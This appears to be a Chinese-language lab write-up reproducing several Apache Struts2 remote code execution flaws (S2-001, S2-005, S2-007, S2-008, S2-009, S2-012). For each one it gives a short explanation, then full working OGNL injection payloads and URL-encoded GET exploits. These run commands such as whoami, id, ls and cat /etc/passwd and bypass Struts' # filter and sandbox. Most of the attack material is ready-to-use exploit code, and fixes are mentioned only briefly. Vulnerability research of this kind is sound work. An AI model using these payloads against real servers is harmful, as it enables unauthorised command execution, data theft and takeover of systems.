S2-001(CVE-2007-4556)

该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行

先来测试一下是否真的存在远程代码执行

image-20230223105112421 image-20230223105140128

发现都把password中括号里的值返回来了

这样构造如下payload

1
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}
image-20230223105234298

语句被执行,查看返回的语句是/user/local/tomcat即使tomcat的执行语句;

然后获取web路径,构造如下语句

1
2
3
4
5
6
7
%{
#req=@org.apache.struts2.ServletActionContext@getRequest(),
#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),
#response.println(#req.getRealPath('/')),
#response.flush(),
#response.close()
}
image-20230223105303991

可见返回了web路径,为/usr/local/tomcat/webapps/ROOT

查看当前权限,返回的是root

1
2
3
4
5
6
7
8
9
10
11
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),
#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],
#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),#f.getWriter().close()
}

执行任意命令时只需要,将whoami的命令替换,例如如下内容

1
2
3
4
5
6
7
8
9
10
%{
#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),
#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),
#d=new java.io.BufferedReader(#c),
#e=new char[50000],#d.read(#e),
#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),
#f.getWriter().println(new java.lang.String(#e)),
#f.getWriter().flush(),
#f.getWriter().close()
}
image-20230223105339077

至此漏洞复现完成

修复方式
改变 OGNL表达式的解析方法从而不会产生递归解析,用户的输入也不会再解析执行

S2-005

s2-005漏洞的起源源于s2-003(受影响版本:低于Struts2.0.12), struts2会将http的每个参数名解析为OGNL语句执行(可理解为Java代码)

OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制。对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这两个选项打开,S2-003的修补方式把自己上了一个锁,但是把钥匙插在了锁头上

影响版本

1
Struts 2.0.0-2.1.8.1

绕过过程

1
2
3
1. 在S2-003中\u0023用于绕过struts2的过滤器#
2. 在S2-003 struts2添加安全模式(沙盒)之后
3. 在S2-005中,使用OGNL表达式关闭安全模式并再次绕过

漏洞利用exp

直接GET方法访问,执行任意命令POC(无回显,空格用@代替):

1
/example/HelloWorld.action?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1

s2-007

当配置了验证规则 <ActionName>-validation.xml 时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回

例如这里有一个 UserAction

1
2
3
4
5
6
(...)
public class UserAction extends ActionSupport {
private Integer age;
private String name;
private String email;
(...)

然后配置有 UserAction-validation.xml

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE validators PUBLIC
"-//OpenSymphony Group//XWork Validator 1.0//EN"
"http://www.opensymphony.com/xwork/xwork-validator-1.0.2.dtd">
<validators>
<field name="age">
<field-validator type="int">
<param name="min">1</param>
<param name="max">150</param>
</field-validator>
</field>
</validators>

当用户提交 age 为字符串而非整形数值时,后端用代码拼接 "'" + value + "'" 然后对其进行 OGNL 表达式解析。要成功利用,只需要找到一个配置了类似验证规则的表单字段使之转换出错,借助类似 SQL注入单引号拼接的方式即可注入任意 OGNL 表达式

影响范围

  • 2.0.0 - 2.2.3

漏洞利用exp

给出执行任意代码的EXP:

1
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '

将Exp传入可以利用的输入框,得到命令执行结果:

image-20230223112530925

S2-008(CVE-2012-0391)

devMode下支持直接执行OGNL表达式,Cookie 拦截器错误配置可造成 OGNL 表达式执行,生产环境一般不会存在该漏洞,但是开了debug模式就可以直接执行命令
由于debug模式本身就不该开放在生产模式,因此由debug模式引发的漏洞并没有对应的修复方案.

影响范围

  • Struts 2.1.0 - Struts 2.3.1

漏洞利用exp

1
/devmode.action?debug=command&expression=(%23_memberAccess["allowStaticMethodAccess"]%3dtrue%2c%23foo%3dnew+java.lang.Boolean("false")+%2c%23context["xwork.MethodAccessor.denyMethodExecution"]%3d%23foo%2c%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('ls+-al+./').getInputStream()))

image-20230223112840676

S2-009(CVE-2011-3923)

这个漏洞跟s2-003 s2-005 属于一套的, Struts2对s2-003的修复方法是禁止#号,于是s2-005通过使用编码\u0023或\43来绕过;Struts2对s2-005的修复方法是禁止 \ 等特殊符号,使用户不能提交反斜线。 但是,如果当前action中接受了某个参数example,这个参数将进入OGNL的上下文。所以,我们可以将OGNL表达式放在example参数中,然后使用

1
/HelloWorld.acton?example=&(example)('xxx')=1 

的方法来执行它,从而绕过官方对 #、\ 等特殊字符的防护。

影响范围

  • 2.1.0 - 2.3.1.1

漏洞利用exp

1
/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27id%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

image-20230223113846295

S2-012

如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,例如:

1
2
3
4
5
6
7
<package name="S2-012" extends="struts-default">
<action name="user" class="com.demo.action.UserAction">
<result name="redirect" type="redirect">/index.jsp?name=${name}</result>
<result name="input">/index.jsp</result>
<result name="success">/index.jsp</result>
</action>
</package>

这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行

影响范围

  • 2.1.0 - 2.3.13
1
%25%7B%23a%3D(new java.lang.ProcessBuilder(new java.lang.String%5B%5D%7B%22%2Fbin%2Fbash%22%2C%22-c%22%2C %22ls%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew java.io.InputStreamReader(%23b)%2C%23d%3Dnew java.io.BufferedReader(%23c)%2C%23e%3Dnew char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D

image-20230223115016179